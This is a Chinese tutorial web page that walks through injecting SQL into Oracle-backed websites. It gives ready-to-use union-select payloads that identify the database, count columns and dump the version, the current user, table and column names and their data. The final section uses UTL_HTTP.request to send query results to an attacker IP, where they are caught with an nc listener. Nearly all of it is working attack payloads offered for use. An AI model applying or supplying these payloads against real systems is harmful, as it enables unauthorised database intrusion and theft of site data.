oracle注入方法

来源:未知 责任编辑:责任编辑 发表时间:2013-12-06 08:46 点击:

①判断是否为Oralce数据库:
And 0<>(select count(*) from dual) 返回正常页面表示为Oracle数据库
②猜解字段数量:
使用order by 或者group by逐个提交数字 直到回显错误页面
③列出字段数目 比如6个字段数目
and  1=1 null,null,null,null,null,null from dual—
因为ORACLE数据库是不自动匹配数据类型的,而null可以匹配任意数据类型,所以这样提交不会报错。 提交它返回了正常页面.
现在来检测当前字段的数据类型,在null的前后加上‘’引号,如果返回正常则说明该字段为字符型,如果返回错误有可能是数字型的,如果不是数字型,那么就是其它类型
例如提交语句: and 1=1 union select null,’null’,null,’null’,null,’null’ from dual–
④读取Oracle数据库版本:
把回显的数字替换成 and 1=2 union select 1,(select banner from sys.v_$version where rownum=1),3,’4′,5,’6′ from dual–
⑤读取Oracle当前数据库连接用户名:
and 1=2 union select 1,(select SYS_CONTEXT (‘USERENV’, ‘CURRENT_USER’) from dual),3,’4′,5,’6′ from dual–
⑥读取当前网站的操作系统的版本:
and 1=2 union select 1,(select member from v$logfile where rownum=1),3,’4′,5,’6′ from dual—
⑦读取表名:
and 1=2 union select 1,TABLE_NAME,3,’4′,5,’6′ from USER_TABLES–
⑧读取表中字段名:
and 1=2 union select 1,COLUMN_NAME,3,’4′,5,’6′ from COLS where TABLE_NAME=’要爆的表名’–
⑨读取表中字段名的数据:
and 1=2 union select 1,NAME,3,’4′,5,’6′ from 字段名–
——————————–
⑩判断UTL_HTTP包是否存在 :
select count(*) from all_objects where object_name=’UTL_HTTP’
利用UTL_HTTP注入 :
在本地用NC监听,使用’and UTL_HTTP.request(‘http://IP:2009/’(查询语句))=1–的形式 . 本地先 nc -l -vv -p 2009,然后提交
‘and UTL_HTTP.request(‘http://IP:2009/’(select banner from sys.v_$version where rownum=1))=1–

‘and UTL_HTTP.request(‘http://ip:2009/’(select owner from all_tables where rownum=1))=1–   爆出第一个库
‘and UTL_HTTP.request(‘http://IP:2009/’(select owner from all_tables where owner<>’第一个库名’ and rownum=1))=1–
‘and UTL_HTTP.request(‘http://IP:2009/’(select owner from all_tables where owner<>’第二个库名’ and owner<>’第一个库名’ and rownum=1))=1–
爆表 :
‘and UTL_HTTP.request(‘http://IP:2009/’(select TABLE_NAME from all_tables where owner=’库名’and rownum=1))=1–
‘and UTL_HTTP.request(‘http://IP:2009/’(select TABLE_NAME from all_tables where owner=’库名’and rownum=1 and TABLE_NAME<>’第一个表名’))=1–
‘and UTL_HTTP.request(‘http://IP:2009/’(select TABLE_NAME from all_tables where owner=’库名’and rownum=1 and TABLE_NAME<>’第一个表名’ and TABLE_NAME<>’第二个表名’))=1–
爆表列:
‘and UTL_HTTP.request(‘http://IP:2009/’(select count(*) from user_tab_columns where table_name=’表名’))=1–   第一个表列名
或者
‘and UTL_HTTP.request(‘http://IP:2009/’(select * from user_tab_columns where table_name=’表名’ and rownum=1))=1–  第一个表列名
‘and UTL_HTTP.request(‘http://IP:2009/’(select * from user_tab_columns where table_name=’表名’ and rownum=1 and COLUMN_NAME<>’第一个爆出的列名’))=1–

发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
用户名: 验证码:点击我更换图片
最新评论 更多>>

推荐热点

  • Table函数使用简介
  • Oracle数据库Constraint约束的常用操作及异常处理
  • Bulk Collect性能分析(zz)
  • export/import的使用
  • OCP043第十五讲 Database Security
  • ORACLE10gr2数据导入MySQL方案
  • oracle 让sys用户可以使用isqlplus
  • 在oracle数据库下使用iSQL*Plus DBA访问数据库
  • Oracle行列转换小结
网站首页 - 友情链接 - 网站地图 - TAG标签 - RSS订阅 - 内容搜索
Copyright © 2008-2015 计算机技术学习交流网. 版权所有

豫ICP备11007008号-1